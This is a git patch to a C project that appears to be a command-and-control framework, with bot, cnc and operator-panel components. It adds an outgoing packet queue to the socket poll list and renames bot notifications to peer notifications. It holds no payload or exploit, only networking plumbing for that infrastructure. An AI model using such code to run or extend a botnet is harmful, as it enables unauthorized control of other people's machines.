From e7265ad15b616ce26bd59f8dd03c6318952618bd Mon Sep 17 00:00:00 2001 From: CPunch Date: Sun, 13 Feb 2022 23:55:30 -0600 Subject: [PATCH] Added laikaP_pushOutQueue, minor refactoring - sLaika_pollList now holds an outQueue, if events are sent to a peer, the pollList will keep track so the caller (cnc, bot, etc) can handle each pollOut for the queued peers. --- bot/src/bot.c | 8 ++++++++ cnc/src/cnc.c | 17 ++++++++++++----- cnc/src/cpanel.c | 11 ++++++++--- lib/include/lpacket.h | 8 ++++---- lib/include/lpolllist.h | 9 ++++++++- lib/src/lmem.c | 3 ++- lib/src/lpeer.c | 6 +++--- lib/src/lpolllist.c | 27 ++++++++++++++++++++++++--- 8 files changed, 69 insertions(+), 20 deletions(-) diff --git a/bot/src/bot.c b/bot/src/bot.c index c99d838..a854a19 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -105,5 +105,13 @@ _BOTKILL: laikaS_kill(&bot->peer->sock); LAIKA_TRYEND + /* flush pList's outQueue */ + if (bot->pList.outCount > 0) { + if (!laikaS_handlePeerOut(bot->peer)) + laikaS_kill(&bot->peer->sock); + + laikaP_resetOutQueue(&bot->pList); + } + return true; } \ No newline at end of file diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index d19f5a7..32e439e 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -41,8 +41,6 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); laikaS_endOutPacket(peer); - /* send bot connection info to any connected panel clients */ - LAIKA_DEBUG("accepted handshake from peer %lx\n", peer); } @@ -98,7 +96,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) { void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { int i; - /* notify connected panels of the connected peer */ + /* notify connected panels of the newly connected peer */ for (i = 0; i < cnc->panelCount; i++) { laikaC_sendNewPeer(cnc->panels[i], peer); } @@ -109,7 +107,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { /* notify connected panels of the disconnected peer */ for (i = 0; i < cnc->panelCount; i++) { - laikaC_sendRmvPeer(cnc->panels[i], peer); + if (cnc->panels[i] != peer) /* don't send disconnect event to themselves */ + laikaC_sendRmvPeer(cnc->panels[i], peer); } } @@ -118,7 +117,7 @@ void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) { for (i = 0; i < cnc->panelCount; i++) { if (cnc->panels[i] == panel) { /* we found the index for our panel! */ - laikaM_rmvarray(cnc->panels, cnc->panelCap, i, 1); + laikaM_rmvarray(cnc->panels, cnc->panelCount, i, 1); break; } } @@ -198,5 +197,13 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { LAIKA_TRYEND } + /* flush pList's outQueue */ + for (i = 0; i < cnc->pList.outCount; i++) { + peer = cnc->pList.outQueue[i]; + if (!laikaS_handlePeerOut(peer)) + laikaC_killPeer(cnc, peer); + } + laikaP_resetOutQueue(&cnc->pList); + return true; } \ No newline at end of file diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index 9e11a16..76cb093 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -10,14 +10,19 @@ inline void checkAuthenticated(struct sLaika_peer *peer) { bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) { struct sLaika_peer *peer = (struct sLaika_peer*)sock; struct sLaika_peer *panel = (struct sLaika_peer*)uData; + struct sLaika_cnc *cnc = (struct sLaika_cnc*)panel->uData; - laikaC_sendNewPeer(panel, peer); + /* make sure we're not sending cnc info lol, also don't send connection information about themselves */ + if (&peer->sock != &cnc->sock && peer != panel) { + LAIKA_DEBUG("sending peer info %lx (cnc: %lx, panel: %lx)\n", peer, cnc, panel); + laikaC_sendNewPeer(panel, peer); + } return true; } void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) { - laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_BOT); + laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER); /* write the bot's pubkey & peerType */ laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub)); @@ -27,7 +32,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) { } void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) { - laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_BOT); + laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER); /* write the bot's pubkey */ laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub)); diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 787e676..1874456 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -31,14 +31,14 @@ enum { /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ * uint8_t peerType; */ - LAIKAPKT_AUTHENTICATED_ADD_BOT, /* notification that a bot has connected to the cnc */ - /* layout of LAIKAPKT_AUTHENTICATED_ADD_BOT + LAIKAPKT_AUTHENTICATED_ADD_PEER, /* notification that a peer has connected to the cnc */ + /* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t peerType; * -- reserved info later (machine info including hostname, OS, machineType, ip, etc.) */ - LAIKAPKT_AUTHENTICATED_RMV_BOT, /* notification that a bot has disconnected from the cnc */ - /* layout of LAIKAPKT_AUTHENTICATED_RMV_BOT + LAIKAPKT_AUTHENTICATED_RMV_PEER, /* notification that a peer has disconnected from the cnc */ + /* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t peerType; */ diff --git a/lib/include/lpolllist.h b/lib/include/lpolllist.h index 54870ff..5e085f3 100644 --- a/lib/include/lpolllist.h +++ b/lib/include/lpolllist.h @@ -16,8 +16,11 @@ struct sLaika_pollEvent { bool pollOut; }; +struct sLaika_peer; + struct sLaika_pollList { struct hashmap *sockets; + struct sLaika_peer **outQueue; /* holds peers which have data needed to be sent */ struct sLaika_pollEvent *revents; #ifdef LAIKA_USE_EPOLL /* epoll */ @@ -29,8 +32,10 @@ struct sLaika_pollList { int fdCapacity; int fdCount; #endif - int reventCapacity; + int reventCap; int reventCount; + int outCap; + int outCount; }; void laikaP_initPList(struct sLaika_pollList *pList); @@ -40,6 +45,8 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData); +void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer); +void laikaP_resetOutQueue(struct sLaika_pollList *pList); struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *nevents); diff --git a/lib/src/lmem.c b/lib/src/lmem.c index 92be2a4..9aa3130 100644 --- a/lib/src/lmem.c +++ b/lib/src/lmem.c @@ -6,7 +6,8 @@ void *laikaM_realloc(void *buf, size_t sz) { /* are we free'ing the buffer? */ if (sz == 0) { - free(buf); + if (buf != NULL) /* sanity check :) */ + free(buf); return NULL; } diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index b7c88a1..da874ea 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -61,6 +61,9 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) { sock->outCount += crypto_secretbox_MACBYTES; } + /* add to pollList's out queue */ + laikaP_pushOutQueue(peer->pList, peer); + sz = sock->outCount - peer->outStart; peer->outStart = -1; return sz; @@ -179,9 +182,6 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { break; } - if (peer->sock.outCount > 0 && !laikaS_handlePeerOut(peer)) - return false; - return laikaS_isAlive((&peer->sock)); } diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c index e07f686..376ad4e 100644 --- a/lib/src/lpolllist.c +++ b/lib/src/lpolllist.c @@ -25,8 +25,11 @@ void laikaP_initPList(struct sLaika_pollList *pList) { /* setup hashmap */ pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, elem_compare, NULL, NULL); pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */ - pList->reventCapacity = POLLSTARTCAP/GROW_FACTOR; + pList->reventCap = POLLSTARTCAP/GROW_FACTOR; pList->reventCount = 0; + pList->outQueue = NULL; + pList->outCap = POLLSTARTCAP/GROW_FACTOR; + pList->outCount = 0; #ifdef LAIKA_USE_EPOLL /* setup our epoll */ @@ -43,6 +46,7 @@ void laikaP_initPList(struct sLaika_pollList *pList) { void laikaP_cleanPList(struct sLaika_pollList *pList) { laikaM_free(pList->revents); + laikaM_free(pList->outQueue); hashmap_free(pList->sockets); #ifdef LAIKA_USE_EPOLL @@ -138,6 +142,23 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock #endif } +void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer) { + int i; + + /* first, check that we don't have this peer in the queue already */ + for (i = 0; i < pList->outCount; i++) { + if (pList->outQueue[i] == peer) + return; /* found it :) */ + } + + laikaM_growarray(struct sLaika_peer*, pList->outQueue, 1, pList->outCount, pList->outCap); + pList->outQueue[pList->outCount++] = peer; +} + +void laikaP_resetOutQueue(struct sLaika_pollList *pList) { + pList->outCount = 0; /* ez lol */ +} + struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) { int nEvents, i; @@ -153,7 +174,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, for (i = 0; i < nEvents; i++) { /* add event to revent array */ - laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity); + laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap); pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ .sock = pList->ep_events[i].data.ptr, .pollIn = pList->ep_events[i].events & EPOLLIN, @@ -174,7 +195,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd}); /* insert event into revents array */ - laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity); + laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap); pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ .sock = elem->sock, .pollIn = pfd.revents & POLLIN,